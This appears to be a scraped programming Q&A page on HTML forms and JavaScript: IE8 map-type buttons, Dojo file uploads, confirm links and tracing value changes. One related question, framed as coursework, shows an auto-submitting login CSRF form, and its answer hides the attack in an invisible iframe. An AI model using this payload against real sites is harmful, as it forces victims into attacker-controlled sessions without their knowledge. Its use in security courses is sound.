I am writing an HTML form that uses a google map, but to reduce the ammount of clutter on the screen I have removed the google interface and replaced it with some simple submit buttons to change the map type (eg Satellite, Hybrid and Normal). The problem that I am having is that IE refuses to accept the: map.setMapType(G_SATELLITE_MAP);
What is confusing me though, is the fact that my application works beautifally in Safari and FF, yet refuses to work at all in IE8.
Just for reference here is the function I am calling:
function map_type_sat()
{
map.setMapType(G_SATELLITE_MAP);
return true;
}
and here is how I am calling it:
<form action ="#" onsubmit="return map_type_sat()">
<input type="Submit" value="satellite">
</form>
can anyone see any issues that would be causing it to not work, or is it an issue with my version of IE having a required plugin to run this command.
I'm not sure why you are using a form submission to set the map type. This may, in fact, be handled differently in IE, potentially causing a full post back even with the '#' target action. Try changing it to use a click handler for a regular input button and omit the form. Note that this also eliminates the need to return a value from the function.
function map_type_sat()
{
map.setMapType(G_SATELLITE_MAP);
}
<input type='button' value='satellite' onclick='map_type_sat()' />
Or, even better,
function set_map_type( type )
{
map.setMapType( type );
}
<input type='button' value='normal' onclick='set_map_type(G_NORMAL_MAP);' />
<input type='button' value='satellite' onclick='set_map_type(G_SATELLITE_MAP);' />
<input type='button' value='hybrid' onclick='set_map_type(G_HYBRID_MAP);' />
Related
I'm practicing a CSRF attack for my course and I have to attack a dummy website by creating a "fake" page. I have the following code
csrf.html
<!DOCTYPE html>
<head>CSRF_ATTACK_PT1</head>
<body>
<form name ='csrf_form' action='http://course_website/login' method="POST">
<input type='hidden' name='username' value='attacker_id'>
<input type='hidden' name='password' value='attacker_pw'>
</form>
<script>
document.csrf_form.submit();
</script>
</body>
The code above works perfectly, except that every time I open csrf.html it will also open up the course_website page. I just want it to remain on csrf.html and not redirect/ open up a new tab.
After looking through SO (I don't know much js..), I tried
<script>
document.csrf_form.submit(function(){
return false;
});
</script>
and adding a onsubmit = return false; to the form itself, but neither works.
What is the best thing to do here?
PS: not sure if this changes anything, but I used action as oppose to target in my form because one works and the other does not. Anything that I have to watch out for?
but I used action as oppose to target in my form because one works and the other does not
target and action do completely different things.
action specifies the URL to send the request to.
target specifies the frame to open the response to that request in
If you don't want to leave the current page, then you need to specify the target as a frame or new window. Omitting it was cause the new page to load in the current window and replace the document containing the form.
If it also possible to (kinda) submit forms without leaving the page by cancelling the form submission and then simulating it with JavaScript (generally via the XMLHttpRequest object) instead. A CSRF attack is going to be cross-origin though, so that approach will likely fail due to the Same Origin Policy).
E.g. of the above answer in your code
<!DOCTYPE html>
<head>CSRF_ATTACK_PT1</head>
<body>
<form name ='csrf_form' target='hiddenFrame' action='http://course_website/login' method="POST">
<input type='hidden' name='username' value='attacker_id'>
<input type='hidden' name='password' value='attacker_pw'>
</form>
<iframe name='hiddenFrame' style='display:none'></iframe>
<script>
document.csrf_form.submit();
</script>
</body>
I'm trying to use a form to pick up a value from a webpage that a client inputs. This can be anything. The idea is to search multiple websites by opening new tabs having constructed the required URL using a function.
I can open one tab and do the search but multiple functions do not run. I've tried the usual funct={funct1;funct2} but cannot get this to work.
Here is the working part of the script
function process(){var url="http://jobs.rsc.org/searchjobs/?keywords=" + document.getElementById("url").value;
window.open(url,'_blank' // <- This is what makes it open in a new window.);
return false;}
<form onsubmit="return process();">Job Description: <input name="url" id="url" type="text"><input value="go" type="submit"></form>
Adding additional functions and calling <form onsubmit="return process();return process1()"; Also doesn't seem to work I either get one or the other functions or neither. The script just searches a chemistry jobsite but it could be anything and the urls are constructed differently depending on the site.
By using return you tell JS to stop execution at that point:
function donttellmeyourname() {
return 4;
console.log("I said I wouldn't!"); // this will never print!
This also aplies to the HTML handlers.
A working way would be:
<form onsubmit="process(); process1(); process2();">...</form>
I am using dojo 1.7.2 I have bee trying to get the file uploader to work with a REST service in PHP.
Here is my function:
dojo.connect(dijit.byId("CNCFileUploader"), "onComplete", function(dataArray){
alert("onComplete Fired!");
dojo.forEach(dojo.isArray(dataArray) ? dataArray : [dataArray], function(resp){
console.log("display:", resp.file, resp.duplicates);
});
});
This is my markup:
<div data-dojo-type="dijit.Dialog" id="addCncIdsFileDialg" >
<form method="post" data-dojo-type="dijit.form.Form" id="addCncIdsFileFrm" enctype="multipart/form-data" action="CartService.php/cart/156568/cncidfiles">
<fieldset>
<legend>Upload File(s) with CNC_IDs</legend>
<div align="center">
<input type="file" multiple="true" name="CNCFileUploader" id="CNCFileUploader" data-dojo-type="dojox.form.Uploader" uploadOnSelect="false" /> <br/>
<button data-dojo-type="dijit.form.Button" type="submit" data-dojo-props="onClick:function(){dijit.byId('addCncIdsFileDialg').hide();}" id="cncIdsFSubmitBttn">OK</button>
<button data-dojo-type="dijit.form.Button" type="button" data-dojo-props="onClick:function(){dijit.byId('addCncIdsFileDialg').hide();}" id="cncIdsFCancelBttn" >Cancel</button>
</div>
<div id="CNC_IDfiles" dojoType="dojox.form.uploader.FileList" uploaderId="CNCFileUploader"></div>
</fieldset>
I never see the alert. For IE9 I see that the file is uploaded and processed. Interestingly while I select a single file, the logs show a second file with a null name and error=4. Also while the onComplete never happens, IE9 prompts me if I want to save cncidfiles from local host. The upload will only work the first time after that it does nothing and never again after that.
When I changed the multiple flag to false, the uploader stopped working entirely. With the following written to the JavaScript console:
TypeError: Unable to get value of the property 'value': object is null or undefined
TypeError: Unable to get value of the property 'value': object is null or undefined
A second problem is that when I use Google Chrome, the file is sent every time, but what I see on the server is very different from what dojo has documented in their Uploadfile.php.
I believe that dojox.form.Uploader is severely broken in 1.7.2 in several significant ways!
Out of frustration, I tried using dojo.io.iframe.send but while Chrome works fine, IE9 still acts like it wants to download cncidfiles and also only works the first time.
Ahuh... Poor uploader widget... :)
Well, check out http://clubajax.org/the-new-dojo-html5-multi-file-uploader/ and see if there's a comment here (on html5 uploader authors post).
Your question does not state how you do this, but you need to extend your uploader either of the plugins, IFrame / HTML5 or Flash or the onComplete is not an API hook.. In other words, its not defined in dojox/form/Uploader. You should use a sniff method, determining if it is IE or 'other'. For IE extend it with Flash and any other, use HTML5 (which has IFrame as fallback)
e.g.;
// this must be BeFore dojo.ready (and before parser runs)!
if(dojo.isIE) dojo.require("dojox.form.uploader.Flash");
else dojo.require("dojox.form.uploader.HTML5");
<form id="search" action="/search" method="get" autocomplete="off">
<div>
<input type="button" name="test_button" value="test" />
</div>
</form>
<script>
document.getElementById("test_button").value = "changed_test"
</script>
Just as the HTML code above shows, I have defined a button with name test_button and value test and changing its value with the code in the script tag.
Now I am debugging a large webpage which is using a mechanism like this using Firebug and Firefox in Linux.
I want to know how I can find the script that changes the value attribute of the <input ... />, but the web page is too large, various <script> and anonymous functions which are auto-executed made it nearly impossible to find the specific script manually.
Since I am in Linux, I cannot use any Microsoft tools to search the whole web page. I only have Firebug and Chrome. Can Firebug realize that? Does anyone have a good idea of how to find the specific <script> that changed the value?
Add some code like this to the document, right after the form with the button:
<script>
var node = document.getElementById("test_button");
Object.defineProperty(node, 'value', {
set: function() { throw new Error('button value modified'); }
});
</script>
This will throw an error when anything tries to modify the button's value.
Expand the error and click the last line number shown. This will take you straight to the line that set the value of the button.
Here's a demo: http://jsfiddle.net/XSJZN/
Tested in Chrome 17.
How do I make one of those hyperlinks where when you click it, it will display a popup asking "are you sure?"
<INPUT TYPE="Button" NAME="confirm" VALUE="???" onClick="message()">
I already have a message() function working. I just need to know what the input type for a hyperlink would be.
<a href="http://somewhere_else" onclick="return confirm()">
When the user clicks the link, the confirm function will be called. If the confirm function returns false, the link traversal is cancelled, if true is returned, the link is traversed.
try to click, I dare you
with the function
function confirmAction(){
var confirmed = confirm("Are you sure? This will remove this entry forever.");
return confirmed;
}
(you can also return the confirm right away, I separated it for the sake of readability)
Tested in FF, Chrome and IE
As Nahom said, except I would put the javascript:message() call directly in the href part (no need for onclik then).
Note: leaving the JavaScript call in the onClick has a benefit: in the href attribute, you can put a URL to go to if the user doesn't have JavaScript enabled. That way, if they do have JS, your code gets run. If they don't, they go somewhere where they are instructed to enable it (perhaps).
Now, your message routine must not only ask the question, but also use the answer: if positive, it must call submit() on the form to post the form. You can pass this in the call to ease the fetching of the form.
Personally, I would go for a button (input tag as you show) instead of a simple link to do the process: it would use a more familiar paradigm for the users.
[EDIT] Since I prefer to verify answers I give, I wrote a simple test:
<script type="text/javascript" language="JavaScript">
function AskAndSubmit(t)
{
var answer = confirm("Are you sure you want to do this?");
if (answer)
{
t.form.submit();
}
}
</script>
<form action="Tests/Test.html" method="GET" name="subscriberAddForm">
<input type="hidden" name="locationId" value="2721"/>
<input type="text" name="text" value="3.1415926535897732384"/>
<input type="button" name="Confirm" value="Submit this form" onclick="AskAndSubmit(this)"/>
</form>
Yes, the submit just reload the page here... Tested only in FF3.
[EDIT] Followed suggestion in the comments... :-)
???
This answer would be OK only when the click need NOT navigate the user to another page.